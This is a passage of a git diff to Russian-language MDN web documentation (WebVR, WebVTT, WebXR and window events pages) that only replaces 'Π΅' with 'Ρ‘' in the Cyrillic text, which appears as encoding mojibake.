+<p>Π›ΡŽΠ±Ρ‹Π΅ VR-устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ, Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{domxref("Navigator.getVRDisplays()")}}; ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСно  {{domxref("VRDisplay")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ.</p>
<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
@@ -60,7 +60,7 @@ translation_of: Web/API/WebVR_API
<dt>{{domxref("VREyeParameters")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ доступ ΠΊΠΎ всС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ отобраТСния сцСны для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°Π΄Π½Π΅Π³ΠΎ Π³Π»Π°Π·Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΠΎΠ»Π΅ зрСния.</dd>
<dt>{{domxref("VRFieldOfView")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π΅ зрСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями стСпСни, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈ прСдставлСниС ΠΈΠ· Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π΅ зрСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ значСниями стСпСни, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌΠΈ прСдставлСниС ΠΈΠ· Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ.</dd>
<dt>{{domxref("VRLayerInit")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ слой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ прСдставлСн Π² {{domxref("VRDisplay")}}.</dd>
<dt>{{domxref("VRStageParameters")}}</dt>
@@ -84,7 +84,7 @@ translation_of: Web/API/WebVR_API
<dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив, содСрТащий ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉΒ {{domxref("VRDisplay")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² настоящСС врСмя отобраТаСтся ({{domxref("VRDisplay.ispresenting")}} являСтся <code>true</code>).</dd>
<dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСобразуСтся Π² массив {{domxref("VRDisplay")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²,Β  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Π»ΡŽΠ±Ρ‹Π΅ доступныС VR-дисплСи, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСобразуСтся Π² массив {{domxref("VRDisplay")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²,Β  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… Π»ΡŽΠ±Ρ‹Π΅ доступныС VR-дисплСи, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ.</dd>
</dl>
<h4 id="Window_события">Window события</h4>
@@ -93,7 +93,7 @@ translation_of: Web/API/WebVR_API
<dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ состояния отобраТСния VR-дисплСя — Ρ‚.Π΅. ΠΈΠ΄Ρ‘Ρ‚ ΠΎΡ‚ отобраТСния Π΄ΠΎ нСотобраТСния, ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚Β (ΠΊΠΎΠ³Π΄Π° {{event("vrdisplaypresentchange")}} событиС срабатываСт).</dd>
<dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ совмСстимый VR-дисплСй (ΠΊΠΎΠ³Π΄Π° {{event("vrdisplayconnect")}} событиС срабатываСт).</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ совмСстимый VR-дисплСй (ΠΊΠΎΠ³Π΄Π° {{event("vrdisplayconnect")}} событиС срабатываСт).</dd>
<dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° совмСстимый VR-дисплСй Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΎΡ‚ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Β (ΠΊΠΎΠ³Π΄Π°Β {{event("vrdisplaydisconnect")}} событиС срабатываСт).</dd>
<dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
index 78aed3b7b7..51cdf502b8 100644
--- a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
+++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/WebVR_API/Using_the_WebVR_API
<ul>
<li>Устройство с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ VR.
<ul>
- <li>Π‘Π°ΠΌΡ‹ΠΌ Π΄Π΅ΡˆΠ΅Π²Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ мобильноС устройство, ΠΊΠ°ΠΊΠΎΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Google Cardboard) ΠΈ подходящий Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. ΠžΡ‰ΡƒΡ‰Π΅Π½ΠΈΡ Π±ΡƒΠ΄ΡƒΡ‚ Π½Π΅ Ρ‚Π°ΠΊΠΈΠ΅ яркиС, ΠΊΠ°ΠΊ ΠΎΡ‚ спСциализированного устройства, Π½ΠΎ Π·Π°Ρ‚ΠΎ Π’Π°ΠΌ Π½Π΅ понадобится ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π°Ρ‚ΡŒ ΠΌΠΎΡ‰Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΈΠ»ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ VR дисплСй.</li>
+ <li>Π‘Π°ΠΌΡ‹ΠΌ Π΄Π΅ΡˆΡ‘Π²Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ мобильноС устройство, ΠΊΠ°ΠΊΠΎΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Google Cardboard) ΠΈ подходящий Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. ΠžΡ‰ΡƒΡ‰Π΅Π½ΠΈΡ Π±ΡƒΠ΄ΡƒΡ‚ Π½Π΅ Ρ‚Π°ΠΊΠΈΠ΅ яркиС, ΠΊΠ°ΠΊ ΠΎΡ‚ спСциализированного устройства, Π½ΠΎ Π·Π°Ρ‚ΠΎ Π’Π°ΠΌ Π½Π΅ понадобится ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π°Ρ‚ΡŒ ΠΌΠΎΡ‰Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΈΠ»ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ VR дисплСй.</li>
<li>Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ устройство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΡ€ΠΎΠ³ΠΈΠΌ, Π½ΠΎ Π·Π°Ρ‚ΠΎ ощущСния Π±ΡƒΠ΄ΡƒΡ‚ Π»ΡƒΡ‡ΡˆΠ΅. НаиболСС WebVR-совмСстимыС устройства Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚: HTC VIVE, The Oculus Rift. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступных устройствах ΠΈ ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π° <a href="https://webvr.info/">webvr.info</a>.</li>
</ul>
</li>
diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html
index 11db07532a..1927c7927f 100644
--- a/files/ru/web/api/webvtt_api/index.html
+++ b/files/ru/web/api/webvtt_api/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/WebVTT_API
Никогда Π½Π΅ ΠΏΠ΅ΠΉΡ‚Π΅ ΠΆΠΈΠ΄ΠΊΠΈΠΉ Π°Π·ΠΎΡ‚.
00:05.000 --&gt; 00:09.000
-- Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±ΡŒΠ΅Ρ‚ ваш ΠΆΠ΅Π»ΡƒΠ΄ΠΎΠΊ.
+- Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±ΡŒΡ‘Ρ‚ ваш ΠΆΠ΅Π»ΡƒΠ΄ΠΎΠΊ.
- Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΌΠ΅Ρ€Π΅Ρ‚ΡŒ.
</pre>
@@ -73,7 +73,7 @@ translation_of: Web/API/WebVTT_API
<h3 id="ВнутрСнняя_структура_Ρ„Π°ΠΉΠ»Π°_WebVTT">ВнутрСнняя структура Ρ„Π°ΠΉΠ»Π° WebVTT</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ вСрнСмся ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈ рассмотрим структуру Ρ€Π΅ΠΏΠ»ΠΈΠΊ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ вСрнёмся ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈ рассмотрим структуру Ρ€Π΅ΠΏΠ»ΠΈΠΊ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
<pre class="notranslate">WEBVTT
@@ -171,7 +171,7 @@ video::cue(b) {
<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρ„ΠΎΠ½ΠΎΠΌ Π²ΠΈΠ΄Π΅ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ сСрый Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, с Ρ†Π²Π΅Ρ‚ΠΎΠΌ тСкста <code>papayawhip</code>. Π’Π°ΠΊΠΆΠ΅, тСкст, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("b")}}, ΠΈΠΌΠ΅Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ <code>peachpuff</code>.</p>
-<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ HTML, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π²ΠΈΠ΄Π΅ΠΎ.</p>
+<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ HTML, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π²ΠΈΠ΄Π΅ΠΎ.</p>
<pre class="brush: html notranslate">&lt;video controls autoplay src="video.webm"&gt;
&lt;track default src="track.vtt"&gt;
diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html
index 913ea6fcf9..7a1ce319e1 100644
--- a/files/ru/web/api/webxr_device_api/index.html
+++ b/files/ru/web/api/webxr_device_api/index.html
@@ -95,7 +95,7 @@ translation_of: Web/API/WebXR_Device_API
<dl>
<dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt>
- <dd>НастраиваСт контСкст WebGL для совмСстимости с WebXR. Если ΠΏΡ€ΠΈ создании контСкста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} Π½Π΅ Π±Ρ‹Π»Π° установлСна ΠΊΠ°ΠΊ <code>true</code>, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>makeXRCompatible()</code> Π΄ΠΎ использования контСкста WebGL для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° WebXR. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉΡΡ, ΠΊΠΎΠ³Π΄Π° контСкст Π±Ρ‹Π» ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Ссли контСкст Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ настроСн для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с WebXR.</dd>
+ <dd>НастраиваСт контСкст WebGL для совмСстимости с WebXR. Если ΠΏΡ€ΠΈ создании контСкста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} Π½Π΅ Π±Ρ‹Π»Π° установлСна ΠΊΠ°ΠΊ <code>true</code>, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>makeXRCompatible()</code> Π΄ΠΎ использования контСкста WebGL для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° WebXR. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉΡΡ, ΠΊΠΎΠ³Π΄Π° контСкст Π±Ρ‹Π» ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, Ссли контСкст Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ настроСн для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с WebXR.</dd>
</dl>
<h2 id="Руководства_ΠΈ_ΡƒΡ€ΠΎΠΊΠΈ">Руководства ΠΈ ΡƒΡ€ΠΎΠΊΠΈ</h2>
diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html
index 1273c5de18..757ea14c3b 100644
--- a/files/ru/web/api/window/beforeunload_event/index.html
+++ b/files/ru/web/api/window/beforeunload_event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/beforeunload_event
---
<div>{{APIRef}}</div>
-<p><span class="seoSummary">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ <strong>beforeunload </strong>запускаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΠΊΠ½ΠΎ, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ Π΅Π³ΠΎ рСсурсы Π²ΠΎΡ‚-Π²ΠΎΡ‚ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹. Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ всС Π΅Ρ‰Π΅ Π²ΠΈΠ΄Π΅Π½, ΠΈ событиС Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ.</span></p>
+<p><span class="seoSummary">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ <strong>beforeunload </strong>запускаСтся, ΠΊΠΎΠ³Π΄Π° ΠΎΠΊΠ½ΠΎ, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ Π΅Π³ΠΎ рСсурсы Π²ΠΎΡ‚-Π²ΠΎΡ‚ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹. Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ всС Π΅Ρ‰Ρ‘ Π²ΠΈΠ΄Π΅Π½, ΠΈ событиС Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½ΠΎ.</span></p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html
index 860ba52331..c4b4dc2357 100644
--- a/files/ru/web/api/window/close/index.html
+++ b/files/ru/web/api/window/close/index.html
@@ -33,7 +33,7 @@ function closeOpenedWindow() {
<h3 id="Π—Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅_Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ_ΠΎΠΊΠ½Π°">Π—Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°</h3>
-<p>Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ, Ссли Π±Ρ‹ Π²Ρ‹ Π²Ρ‹Π·Π²Π°Π»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ close() ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° window, вмСсто Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ close() для созданного ΠΎΠΊΠ½Π°, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΊΡ€Ρ‹Π» Π±Ρ‹ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, создал Π»ΠΈ Сго ваш скрипт или Π½Π΅Ρ‚. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚; ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности, ΡΠΊΡ€ΠΈΠΏΡ‚Π°ΠΌΒ Π±ΠΎΠ»ΡŒΡˆΠ΅ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΊΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ.Β (Firefox 46.0.1: scripts can not close windows, they had not opened)</p>
+<p>Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ, Ссли Π±Ρ‹ Π²Ρ‹ Π²Ρ‹Π·Π²Π°Π»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ close() ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° window, вмСсто Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ close() для созданного ΠΎΠΊΠ½Π°, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΊΡ€Ρ‹Π» Π±Ρ‹ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, создал Π»ΠΈ Сго ваш скрипт или Π½Π΅Ρ‚. Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚; ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности, ΡΠΊΡ€ΠΈΠΏΡ‚Π°ΠΌΒ Π±ΠΎΠ»ΡŒΡˆΠ΅ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΊΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ.Β (Firefox 46.0.1: scripts can not close windows, they had not opened)</p>
<pre class="brush: js">function closeCurrentWindow() {
window.close();
diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html
index fc1cf46867..c5cbbd98df 100644
--- a/files/ru/web/api/window/closed/index.html
+++ b/files/ru/web/api/window/closed/index.html
@@ -39,7 +39,7 @@ if (window.opener &amp;&amp; !window.opener.closed) {
<h3 id="ОбновлСниС_Ρ€Π°Π½Π΅Π΅_ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ_Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ_ΠΎΠΊΠ½Π°">ОбновлСниС Ρ€Π°Π½Π΅Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°</h3>
